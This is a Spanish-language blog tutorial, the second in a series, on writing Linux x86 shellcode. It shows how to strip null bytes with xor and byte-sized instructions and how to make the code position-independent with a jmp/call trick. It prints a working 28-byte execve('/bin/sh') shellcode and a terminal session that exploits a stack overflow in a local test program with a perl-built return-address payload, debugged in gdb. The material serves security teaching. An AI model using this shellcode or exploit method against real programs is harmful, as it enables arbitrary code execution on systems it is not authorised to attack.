Exploitation: Shellcodes en Linux II
En la entrada anterior nos habíamos quedado con el problema de la eliminación de los null bytes para conseguir que nuestra shellcode funcionara correctamente. En esta eliminaremos esos null bytes y nos enfrentaremos a otros problemas asociados normalmente al desarrollo de shellcodes. Vamos a ello.
Eliminando Null Bytes
Nos encontramos en la situación en la que tenemos que eliminar los null bytes de las siguientes instrucciones:
mov eax, 11 ; execve es la syscall núm 11 mov edx, 0 ; el tercer argumento es NULL (envp) push shell ; colocamos la cadena /bin/sh en la pila
Que ensamblan a los siguientes opcodes:
B80B000000 mov eax,0xb BA00000000 mov edx,0x0 6817000000 push dword 0x17
Los bytes nulos de la segunda instrucción, poner a 0 edx, vienen precisamente del valor inmediato cero, lo que nos genera cuatro bytes nulos. Es necesario por tanto encontrar otra forma de poner a cero un registro, ya que será algo que utilizaremos muy a menudo. Podríamos restar dos valores idénticos que no contengan bytes nulos, pero requeriría un mov para colocar el valor y luego un sub para restarlo, algo así:
BAFFFFFFFF mov edx,0xffffffff 29D2 sub edx,edx
Esto podría funcionar, sin embargo, necesitamos seis bytes para poner a cero un registro. Es mucho más inteligente utilizar la función xor, porque como todos sabemos, realizar una xor de algo consigo mismo da siempre cero. Además, la xor ocupa tan sólo dos bytes, con lo que ahorramos espacio (cosa muy importante como veremos luego). Como se ve en el ensamblado del xor edx,edx no tenemos ningún byte nulo al poner un registro a cero.
31D2 xor edx,edx
Los null bytes (que son 3) de la primera instrucción, vienen porque el valor 11 tiene que entrar en un registro de 32 bits, por lo que se ha extendido el signo. Sin embargo, si nos aseguramos de que el registro está a cero, nos bastará con mover 11 al último byte del registro. Por tanto pasaríamos del mov eax, 0xb a:
31C0 xor eax,eax B00B mov al,0xb
Que nadie se pierda, B00B no contiene un byte nulo, es una palabra compuesta de dos bytes: B0 y 0B y ninguno de ellos es nulo. Por último tenemos el push dword 0×17, y el problema que tiene es exactamente el mismo que el primero, que 0×17 es un valor pequeño para 32 bits, y la extensión de signo provoca la aparición de ceros. Para solucionarlo, podemos indicar que el tamaño del valor a pushear es un byte:
6A13 push byte +0x13
Position independent code
Bien, con estos retoques, tenemos el siguiente código, que al ensamblar no produce ningún byte nulo:
BITS 32 ; int execve(const char *filename, char *const argv[], char *const envp[]); xor eax, eax ; ponemos a cero el registro mov al, 11 ; execve es la syscall núm 11 xor edx, edx ; el tercer argumento es NULL (envp) push edx ; colocamos NULL en la pila para terminar la cadena de filename y para ; terminar el array argv push byte shell ; colocamos la cadena /bin/sh en la pila mov ebx, [esp] ; obtenemos la dirección de la cadena. ebx = 0x8049098 mov ecx, esp ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508 int 0x80 ; invocamos al sistema operativo (software interrupt) shell db "/bin/sh"
Vamos a probar a utilizarlo en un exploit, aunque los más avispados ya sabrán que no va a funcionar y también intuirán por qué.
adrian@orion-virt:~/exploiting$ export SHELLCODE=$(cat shellcode/shellcode3) adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf SHELLCODE will be at 0xbffff6dd adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40') DEBUG: name_buffer localizado en 0xbffff354 Bienvenido al sistema, ������������ Segmentation fault (core dumped) adrian@orion-virt:~/exploiting$ gdb -q -c core Core was generated by `./sovf ������������ Program terminated with signal 11, Segmentation fault. #0 0xbffff6ee in ?? () (gdb) x/16wi 0xbffff6dd 0xbffff6dd: xor eax,eax 0xbffff6df: mov al,0xb 0xbffff6e1: xor edx,edx 0xbffff6e3: push edx 0xbffff6e4: push 0x10 0xbffff6e6: mov ebx,DWORD PTR [esp] 0xbffff6e9: mov ecx,esp 0xbffff6eb: int 0x80 0xbffff6ed: das 0xbffff6ee: bound ebp,QWORD PTR [ecx+0x6e] 0xbffff6f1: das 0xbffff6f2: jae 0xbffff75c 0xbffff6f4: add BYTE PTR [ebp+eax*2+0x52],dl 0xbffff6f8: dec ebp 0xbffff6f9: cmp eax,0x72657478 0xbffff6fe: ins DWORD PTR es:[edi],dx
Vemos que hemos redirigido la ejecución correctamente, pero que ha intentado ejecutar la definición de la cadena “/bin/sh” como instrucciones, y eso ha producido un fallo de segmentación. Pero, ¿por qué ha llegado aquí? En el momento en que se lanza la int 0×80 debería ejecutar execve y abrirnos una shell y no llegaría a ejecutar lo que hubiera debajo. ¿Qué ha pasado entonces? El problema es que la llamada a execve está mal hecha, y ha retornado de la función sin ejecutar lo que queríamos, ha continuado ejecutando el código de debajo y el resto de la historia ya la sabemos. El origen del problema es el push byte shell, que si nos fijamos coloca en la pila 0×10, lo que debería ser la dirección de memoria de nuestra cadena. El asunto es que esa es la dirección calculada por el ensamblador de manera estática, pero cuando incluímos nuestra shellcode dentro de otro programa en ejecución, no podemos contar con que se haya colocado en la misma posición que asumió nasm al ensamblar. Es decir, nuestro código no es position independent, y tenemos que encontrar una manera de obtener la dirección de la cadena “/bin/sh” independientemente de dónde estemos cargados en memoria. Existe un pequeño truco que se suele utilizar para estos casos:
BITS 32 ; int execve(const char *filename, char *const argv[], char *const envp[]); xor eax, eax ; execve es la syscall núm 11 mov al, 11 xor edx, edx ; el tercer argumento es NULL (envp) push edx ; colocamos NULL en la pila para terminar la cadena de filename y para ; terminar el array argv call next ; colocamos la cadena /bin/sh en la pila db "/bin/sh" next: mov ebx, [esp] ; obtenemos la dirección de la cadena. ebx = 0x8049098 mov ecx, esp ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508 int 0x80 ; invocamos al sistema operativo (software interrupt)
Lo que hemos hecho aquí es aprovecharnos del funcionamiento de la instrucción call. Call se utiliza para realizar llamadas a funciones, y la particularidad que tiene es que salva en la pila la dirección de la siguiente instrucción, de tal forma que cuando la función a la que llama finalice, pueda retornar correctamente a la instrucción que corresponde. En nuestro caso, colocamos nuestra cadena a continuación de la llamada a call, de tal forma que su dirección se coloca en la pila y la utilizamos de la misma manera que hasta ahora. Sin embargo, este código no funcionará, ya que la instrucción call utiliza un offset relativo al EIP para el salto. Esto quiere decir que el offset es un número bajo, y que tiene que ocupar 4 bytes, así que se producirá la extensión de signo que causará los odiados null bytes.
E807000000 call dword 0x13
¿Qué pasaría si en lugar de saltar hacia delante (hacia posiciones más altas de memoria), saltáramos hacia atrás? El offset sería por tanto un número negativo, y dada la pequeña distancia que manejamos, sería un número negativo muy grande, por lo que con un poco de suerte no tendrá ningún byte nulo. Tal vez algo tal que así:
BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax ; execve es la syscall núm 11
mov al, 11
xor edx, edx ; el tercer argumento es NULL (envp)
push edx ; colocamos NULL en la pila para terminar la cadena de filename y para
; terminar el array argv
jmp short down ; saltamos hacia abajo para poder realizar el call hacia arriba
; al ser short no generará null bytes
back:
mov ebx, [esp] ; obtenemos la dirección de la cadena. ebx = 0x8049098
mov ecx, esp ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508
int 0x80 ; invocamos al sistema operativo (software interrupt)
down:
call back ; colocamos la cadena /bin/sh en la pila
db "/bin/sh"
Esto ya sí se puede llamar shellcode, y funciona correctamente y como se espera
No genera ningún byte nulo, ocupa 28 bytes y nos ofrece una preciosa shell. Sin embargo, hay situaciones en las que esta shellcode es demasiado grande, y es necesario reducir el espacio que ocupa un poco más. Además, ahora sabemos que una shellcode es un programa en ensamblador con ciertas “peculiaridades” y que podemos por tanto hacer lo que queramos en él. Existen también protecciones que no dejan pasar por la red caracteres no imprimibles o IDS que pueden dar la alarma si encuentran la cadena “/bin/sh” o un número elevado de NOPs entre el tráfico de red. Por supuesto, abrir una shell en local no nos es útil para explotar aplicaciones en remoto, y un firewall filtrará las conexiones entrantes, por lo que necesitaremos una shell que inicie la conexión… Veremos todo esto en la siguiente entrada sobre shellcodes. Mientras tanto, ideas, dudas o aportaciones en los comentarios
Magnífica entrada
Me alegro de que te haya gustado